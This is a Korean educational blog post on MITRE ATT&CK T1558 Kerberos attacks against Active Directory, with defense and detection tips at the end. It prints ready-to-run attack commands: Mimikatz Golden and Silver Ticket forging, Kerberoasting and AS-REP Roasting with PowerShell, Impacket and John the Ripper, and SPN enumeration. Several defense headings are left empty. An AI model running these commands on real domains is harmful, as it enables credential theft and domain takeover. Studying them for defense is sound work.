T1558 Kerberos 공격: 5개 티켓 위조 기법으로 Active Directory를 장악하는 원리
Golden Ticket부터 AS-REP Roasting까지. Active Directory를 장악하는 Kerberos 5가지 티켓 위조 기법의 전체 구조.
Golden Ticket부터 AS-REP Roasting까지. Active Directory를 장악하는 Kerberos 5가지 티켓 위조 기법의 전체 구조.
Active Directory 환경에서 사용되는 Kerberos 인증 프로토콜은 전 세계 대부분 기업 네트워크에서 활용되고 있다. 하지만 이 신뢰할 만한 인증 시스템이 공격자들에게는 전혀 다른 의미로 다가옵니다. MITRE ATT&CK 프레임워크의 T1558 기법은 바로 이 Kerberos 시스템의 정상적인 동작을 악용하여 인증을 우회하거나 권한을 탈취하는 공격 방법들을 체계화한 것이다.
1980년대 후반, 네트워크 환경에서는 매번 서비스에 접근할 때마다 사용자명과 비밀번호를 입력해야 했다. 하루에 수십 번씩 같은 인증 정보를 반복 입력하는 것은 사용자에게 피로감을 주었고, 더 심각한 문제는 네트워크상에서 비밀번호가 평문으로 전송되어 쉽게 도청당할 수 있다는 점이었다.
특히 대규모 기업 환경에서는 하나의 사용자가 파일 서버, 메일 서버, 데이터베이스 등 수십 개의 서비스를 이용해야 했는데, 각각에 대해 별도의 인증을 수행하는 것은 비효율적이었다. 또한 중앙화된 인증 관리가 없어 사용자 계정 관리가 복잡하고 보안 정책을 일관되게 적용하기 어려웠다.
Kerberos는 반복 인증 문제와 네트워크 보안 취약점을 해결하기 위해 만들어진 Single Sign-On(SSO) 인증 프로토콜이다.
Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable Pass the Ticket. Kerberos is an authentication protocol widely used in modern Windows domain environments. — MITRE ATT&CK T1558
T1558은 Kerberos 티켓을 탈취하거나 위조하여 Pass the Ticket 공격을 가능하게 하는 기법이다. 이는 Kerberos 프로토콜 자체의 취약점이 아니라, 정상적인 인증 메커니즘을 악용하는 공격 방식이다.
T1558을 이해하기 위해서는 다음 5개 핵심 요소를 알아야 한다:
| 용어 | 설명 |
|---|---|
| TGT (Golden Ticket) | 역할: 모든 서비스 접근 가능한 마스터 티켓 / 암호화 키: KRBTGT 해시 / 수명: 10시간 (기본값) / 공격 난이도: 높음 (DC 권한 필요) |
| TGS (Silver Ticket) | 역할: 특정 서비스만 접근 가능한 티켓 / 암호화 키: 서비스 계정 해시 / 수명: 서비스별 설정 / 공격 난이도: 중간 (서비스 계정 권한) |
| Kerberoasting | 역할: 서비스 계정 비밀번호 크래킹 / 암호화 키: 해당 없음 / 수명: 해당 없음 / 공격 난이도: 낮음 (일반 사용자 권한) |
| AS-REP Roasting | 역할: 사전 인증 비활성화 계정 공격 / 암호화 키: 해당 없음 / 수명: 해당 없음 / 공격 난이도: 낮음 (익명 접근 가능) |
Kerberos 인증은 3단계로 구성되며, 각 단계마다 서로 다른 암호화 키를 사용한다:
1단계: AS-REQ/AS-REP (Authentication Server Exchange)
클라이언트가 처음 로그인할 때 발생하는 과정이다:
AS-REQ 요청 구조:
- 사용자 ID (평문)
- 요청 시간 (Timestamp)
- 클라이언트 IP 주소
- 티켓 유효기간 요청
인증 서버(AS)는 사용자의 비밀번호 해시를 확인한 후 TGT를 발급한다:
AS-REP 응답 구조:
- TGT (KRBTGT 키로 암호화)
- 세션키 (사용자 비밀번호로 암호화)
- 티켓 만료 시간
2단계: TGS-REQ/TGS-REP (Ticket Granting Service Exchange)
클라이언트가 특정 서비스에 접근하려 할 때 발생한다:
{
"tgs_request": {
"tgt": "krbtgt로_암호화된_티켓",
"spn": "HTTP/webserver.company.com",
"authenticator": "세션키로_암호화된_인증자"
}
}
TGS는 TGT를 검증한 후 서비스 티켓을 발급한다:
{
"tgs_response": {
"service_ticket": "서비스_계정_키로_암호화",
"service_session_key": "클라이언트와_서비스간_세션키",
"ticket_lifetime": 600
}
}
3단계: AP-REQ/AP-REP (Application Server Exchange)
클라이언트가 실제 서비스에 접근하는 단계이다:
AP-REQ:
Authorization: Negotiate [base64_encoded_service_ticket]
놀이공원 손목밴드 비유로 설명하면: TGT는 놀이공원 입장권 같은 것이다. 한 번 입장권을 받으면 놀이기구마다 매표소에 가지 않고도 손목밴드만 보여주면 된다. 각 놀이기구(서비스)별로 받는 이용권이 바로 서비스 티켓인 셈이다.
Kerberos는 대칭 키 암호화를 사용하며, 각 단계마다 서로 다른 키를 활용한다:
공격 원리: Golden Ticket은 KRBTGT 계정의 NTLM 해시를 이용해 완전히 위조된 TGT를 생성하는 공격이다.
실제 공격 명령어:
# Mimikatz를 이용한 Golden Ticket 생성
mimikatz # kerberos::golden
/user:Administrator
/domain:company.com
/sid:S-1-5-21-1234567890-1234567890-1234567890
/krbtgt:aad3b435b51404eeaad3b435b51404ee
/ticket:golden.kirbi
탐지 어려움의 이유:
동작 메커니즘: Silver Ticket은 특정 서비스 계정의 NTLM 해시를 이용해 서비스에 대한 TGS 티켓을 위조하는 공격이다.
# Silver Ticket 생성 예시
mimikatz # kerberos::golden
/user:john.doe
/domain:company.com
/sid:S-1-5-21-1234567890-1234567890-1234567890
/target:webserver.company.com
/service:HTTP
/rc4:32ed87bdb5fdc5e9cba88547376818d4
/ticket:silver.kirbi
Golden Ticket과의 차이점:
공격 절차: Kerberoasting은 SPN이 설정된 서비스 계정의 TGS 티켓을 요청하여 오프라인으로 비밀번호를 크래킹하는 공격이다.
# PowerShell을 이용한 Kerberoasting
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "HTTP/webserver.company.com"
크래킹 과정:
# John the Ripper를 이용한 해시 크래킹
john --wordlist=rockyou.txt --format=krb5tgs hashes.txt
관련 상세 내용은 Kerberoasting 공격: SPN 해시 크래킹으로 서비스 계정 탈취에서 확인하실 수 있다.
취약점 조건: 사용자 계정에서 "Kerberos 사전 인증이 필요하지 않음" 옵션이 활성화된 경우 발생한다.
# AS-REP Roasting 대상 계정 찾기
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
공격 실행:
# Impacket의 GetNPUsers.py 사용
python GetNPUsers.py company.com/ -usersfile users.txt -format hashcat -outputfile hashes.asreproast
Linux/Unix 환경 공격: ccache 파일은 Linux/Unix 시스템에서 Kerberos 티켓을 저장하는 파일이다.
# ccache 파일 위치
/tmp/krb5cc_[UID]
/var/tmp/krb5cc_[UID]
# 환경변수로 ccache 파일 지정
export KRB5CCNAME=/tmp/krb5cc_1000
공격자들이 T1558 기법을 선호하는 이유는 "정상적인 인증 과정을 흉내내기" 때문이다. 기존의 무차별 대입 공격이나 취약점 익스플로잇과 달리, Kerberos 공격은 시스템의 정상 동작으로 위장할 수 있어 탐지가 매우 어렵다.
Operation Wocao (2019-2020): 중국 APT 그룹이 PowerSploit 프레임워크의 Invoke-Kerberoast 모듈을 사용하여 대규모 Kerberoasting 공격을 수행했다. 이들은 다음과 같은 방식으로 공격을 진행했다:
# Operation Wocao에서 사용된 명령어
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash |
Out-File -FilePath C:\temp\hash.txt -Width 8000
SolarWinds 침해 사건 (2020): 공격자들은 SolarWinds 네트워크 내부에서 Kerberoasting을 포함한 다양한 T1558 기법을 활용했다. 특히 Active Directory Service Principal Names(SPNs)의 TGS 티켓을 대량으로 수집하여 오프라인 크래킹을 수행했다.
1단계 - 정찰 (Reconnaissance):
# SPN 열거를 통한 대상 식별
setspn -T company.com -Q */*
2단계 - 초기 침투 (Initial Access):
3단계 - 권한 상승 (Privilege Escalation):
4단계 - 지속성 확보 (Persistence):
로그 모니터링:
<Event>
<EventID>4769</EventID>
<Data Name="TicketEncryptionType">0x17</Data>
<Data Name="ServiceName">krbtgt</Data>
</Event>
비정상 패턴 탐지:
계정 보안:
네트워크 보안:
모니터링 설정:
더 자세한 Golden Ticket 방어 방법은 Golden Ticket: krbtgt 해시 1개로 도메인을 장악하는 원리에서 확인하실 수 있다.
T1558은 Kerberos 인증 시스템의 정상적인 동작을 악용하여 인증을 우회하거나 권한을 탈취하는 5개 공격 기법을 포괄한다. Golden Ticket부터 AS-REP Roasting까지, 각 기법은 서로 다른 권한 수준에서 실행 가능하며 공격자에게 다양한 침투 경로를 제공한다.
이런 공격들이 특히 위험한 이유는 정상적인 네트워크 트래픽으로 위장할 수 있어 탐지가 어렵다는 점이다. 단순한 패치 적용보다는 계정 관리, 암호화 정책, 로그 모니터링을 포함한 종합적인 방어 전략이 필요하다.
T1558 공격을 완전히 차단하는 것은 불가능하지만, 적절한 보안 설정과 지속적인 모니터링으로 공격의 성공 가능성을 크게 낮출 수 있다. 특히 KRBTGT 계정 관리와 서비스 계정 보안은 Active Directory 환경에서 가장 중요한 보안 요소라 할 수 있다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.